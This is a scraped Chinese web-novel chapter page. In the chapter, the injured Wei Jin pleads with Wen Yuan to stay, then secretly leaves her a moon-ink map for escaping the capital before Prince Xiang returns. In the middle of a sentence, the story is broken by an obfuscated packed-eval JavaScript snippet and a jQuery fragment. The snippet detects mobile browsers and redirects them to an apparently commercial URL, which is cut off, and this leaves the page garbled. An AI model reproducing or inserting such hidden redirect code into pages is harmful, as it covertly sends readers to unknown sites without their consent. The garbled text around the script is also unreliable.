默认冷灰
24号文字
方正启体

19. 何必呢

作者:云甜一本书字数:K更新时间:
    闻鸳想收回下意识的关心,却被人轻易捉在掌中。那人欲牵她靠近,她抗拒挣扎,他便蹙眉吭了一声,她立时不敢乱动,任他拉过去。


    那人让她坐在膝头,鼻尖轻抵云鬓,贪婪嗅她的发香。


    “留下,”他低声道,“留在我身边。”


    气息交织欲念,他凑得很近,唇齿开合,几乎咬到了闻鸳的耳朵。


    藤蔓般,于耳畔绕缠,爬伸向心底。


    “何必呢。”


    闻鸳别过头,避开他微凉的呼吸。


    “明知我非真心待你。”


    “无妨。”


    那人在她耳际笑,手掌温柔抚摸她脸庞,屈指轻轻抬起她的下巴,低头吻她的唇。


    “能见你就好。”


    闻鸳躲,他就追过来,温凉唇瓣弥合她的嘴角,不肯稍稍剥离半刻。直至她忍无可忍攥起拳头抵在他肩上,却依然被他圈得更紧,势要揉进身体里。


    他从未这般强烈地吻过她,让她快要无暇呼吸,只能配合着他的舌尖,无路可逃地回应。


    待他有刹那松懈,她张口轻喘换气,却引他变本加厉,更猛烈地侵袭。她喊不了,挣不掉,于是连最后一丝力气也被抽干,全身软得一团棉花,轻飘飘黏在他臂弯。


    忘情处,那人用牙齿轻轻咬住她唇壁的嫩肉。不疼,却引酥麻过喉舌,她屏息蜷起肩膀,抵在人肩头的手攥紧了他的衣裳。


    一瞬间,她甚至觉得,对方是真的要吃掉她。


    “我如今是半个废人了。”


    他在呼吸交纵之间呢喃。


    “别丢下我。”


    他知道如何戳疼闻鸳的心,抬起头,红着眼睛望她,修长手指仍拨捻着她的发,再问一声:


    “好不好?”


    闻鸳迎上他灼烫目光,所有言语如鲠在喉,连个“不”字也说不出。


    他的伤是为了救她,落得这般田地,皆因她而起。


    她做不到。


    “药……”她余光瞥见那碗药,宛如抓住了救命稻草,“要冷了。”


    那人果然放了手,等她把药端来。


    这药凉了更苦,闻鸳单是拿在手中便觉难闻,偏那人一小勺一小勺地含在嘴里,慢慢地咽。


    等见了底,视线才从她身上移开,落在桌上的蜜饯。


    闻鸳挑出一颗好入口的,拈在指尖喂给他。


    约莫那碗药的确苦得很,卫进张口衔蜜饯,急得含住她的指尖。她陡然松手,蜜饯便掉落在两人之间。


    药还是不够苦。


    他根本意不在此。


    闻鸳扔掉这一颗,学聪明把一整盘拿来,由他自己挑。


    卫进不怒反笑,取了一颗含在口中。


    “今日天气不错,”他道,“我想出去走走。”


    在西山寺休养这些时日,他伤势有所好转,但仍不能长久活动。闻鸳扶他走出卧房,仅仅来至屋檐下这几步路,他额间就布满冷汗,脸色也较先前苍白许多。


    闻鸳着人搬来把椅子,布好软垫,让他靠得舒服,在屋前晒太阳。


    虽说是个艳阳天,到底数九严冬,北风一过还是觉得冷。她又取来条毯子,给人搭盖双腿。


    她自己裹了件厚氅,在太阳底下微微出汗,索性坐到院子里的石凳上,替他挡着风。


    明月带丫头们把火炉安置好,放上一小壶福鼎白玫,兼有今秋存下来的板栗,慢火烹煮。桌上是几碟花样新奇的点心,俱是城北徐家铺子做的,她最喜欢。


    清风徐来,水沸与烤爆的板栗噼啪声交融,便不觉得这冬天十分难熬。


    闻鸳斟上两杯茶,一杯放到卫进手边。


    再从烤盘上夹烤好的栗子在旁晾凉,剥好一个,往卫进掌心塞一个,他吃一个。


    等他吃不下摆手,她才尝到第一个。


    烤过的板栗沁出糖蜜,越烫嘴越甜。


    她原本不喜甜食。


    昔年在太师府,日子过得不识愁滋味,她嗜酸如命,无辣不欢。自入卫府,竟愈发嗜甜。


    连苦中有回甘的福鼎白玫都嫌涩口。


    大抵心里苦,总要吃些甜的来抵消。


    否则,如何撑得下去。


    “听说你在西山寺时,梦到柳家人了。”


    那人突然说。


    闻鸳不知他听谁谈起了此事,但他口中提及柳家,实在讽刺。


    “嗯。”


    她淡漠应。


    卫进从背后搭住她的肩,轻轻握了握,似是安慰。她不着痕迹借倒茶避开那只手,将杯中热茶一饮而尽。


    对方沉默须臾,像是下定了决心,再度开口:


    “那夜的烟花,其实……”


    “我累了。”


    闻鸳不等他说完,兀自起了身。


    她再不愿听到关于那晚的任何事,使她不得不记起来,她的生辰,从此是柳家四十余口的忌日。


    那场逼她流露真心的烟花,那段并肩追月的路,实则是残害无辜的丧钟。


    把她好不容易说服自己,对他生出一丝一毫的在意,丢在地上狠狠踩碎。


    “好。”


    那人不强留,伸手替她整理好毛氅后摆。


    “去歇着吧。”


    闻鸳转身回房,却听他漫不经心说起:


    “再有几日,襄王就回京了。”


    她脚步蓦然一顿。


    前几日,闻太师确实提过,卫进率西厂于顾侯祠运出几箱不知何物一事,已由刘尚书转告襄王。襄王配合调查赈灾银下落,断不会放过这条送上门的线索。


    虽说亲王非诏不得入京畿,但若能找到官银,押送回京中复命,倒也合乎律法。


    不过,闻太师联合朝中老友派人追查这么久没结果,送走的东西极有可能已然销毁。纵使逢沿途降雪,耽搁了路程,襄王府精兵百万,也不至能在如此短的时间内精准寻到它的下落。


    更不必提,那箱子里装的未必是官银。


    而卫进将此事透露给她,等同于告知太师府,亦不知是何居心。


    见闻鸳有兴趣听下去,卫进方掀开盖在腿上的毛毯,扶着窗沿艰难站起来。一步一步,挪到她身边。


    碍于背后的伤,他略弯着腰,看起来倒更像有意同闻鸳凑近。


    “届时就算朝中生出天大的变数,也无需理会。”


    说着,挽起她的手,俯首贴在她耳侧,让她能清楚看见,他眼神所指,是后院那间废弃已久的柴房。


    卫进眉眼含笑,仿若与她亲昵耳语,所说的话却字字如重锤,砸进她心里:</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450284|201167||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “你生辰那晚,所骑是军中最快的一匹马。用来逃命的话,襄王的飞羽骑也追不上你。”


    他说完,佝偻着腰背靠坐下来,像是疼得狠了,埋头喘了许久的粗气,才道:


    “御前还有差事,明日再回来陪你用晚膳。”


    他话里有话,闻鸳自然听得出。


    襄王回京,她便要逃命,与飞羽骑决个高下。


    襄王为人端和谦逊,又是先帝长子,朝臣向来对其敬畏有加,连当朝皇上也须看他几分薄面。闻太师与之交集不多,从未结过仇怨,倘使襄王对她不利,绝非缘于太师府。


    那就只能是西厂。


    新帝登基以来,西厂前后明里暗里迫害了不少忠臣良将。前有赵将军,后是张侍郎、柳相,依卫进所言推断,下一个,乃是襄王。


    如此一来,襄王若有心反抗,难保不会累及她和太师府。卫进为她谋后路,是想保全她的性命。


    然而其中仍有不合常理之处。


    卫进明知她与柳夕交好,曾陪伴柳夕前往西山寺进香,这般暗示于她,难道不怕她向柳夕通风报信,打草惊蛇?


    心思缜密如他,能让她发现密函、险些破坏了计划,竟还能纵她第二次吗?


    抑或,他故意为之?


    闻鸳想不通。


    在卫进离府后,趁着府上下人忙于备膳,悄然溜进了那间柴房。


    年久失修,乍开门,便有朽木的霉败味道扑面而来。闻鸳捂住鼻子踏入其中,所见除一些破破烂烂的旧物外,并没有什么线索。


    她怀疑自己会错了意,视线不经意扫过地上墙角一沓宣纸,竟从中觉察出了异样。


    这屋子里头的杂物大多上了年头,发黑发黄,宣纸尤甚。置于浮面的几张近乎成了脆壳,一碰就碎。


    故而夹在其中那张白宣,尤其明显。


    她用手帕垫着,强忍恶心翻开上面腐朽的残片,将那张新纸抽出来。


    其上无字,摸起来,有几处滑腻凸起,像抹了层浆子。


    月影墨。


    他知道她认识。


    闻鸳揣起那张纸,回到房中,不动声色用过晚膳,借口体乏,让丫头们早早退下。


    至明月初升,她开窗环顾四下无人,将那张纸对着月光铺开。


    半壁弦月照窗台,碧华浮动,其上笔迹显现。


    不是字,而是一张京师地图。


    乌墨勾描城中巷道,每条街、每间铺子皆画得仔细入微。朱墨标记府外的马厩,出城的路线,以及城外一处接应地点。


    她不由无声倒吸一口冷气。


    卫进规划好她逃跑的路线,急于此时拿给她,当是怕日后再没了机会,要她早做打算。


    西厂与襄王之间,必定是场见血的硬仗。


    如是,她更不知该不该告诉柳夕。


    假若一切是西厂的阴谋,能让襄王躲过一劫,于江山社稷当然是幸事。


    如不然,或关乎皇帝,孰对孰错,非她所能定夺。


    她暗自叹了口气,折好那张地图收进妆奁。房中不曾掌灯,未瞧见其中有个横置的钗子,血珠顿时洇透纸背。


    十指连心,胸口骤然掠过一抹痛意:


    卫进要她一个人逃,是不是,他一定活不成了……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)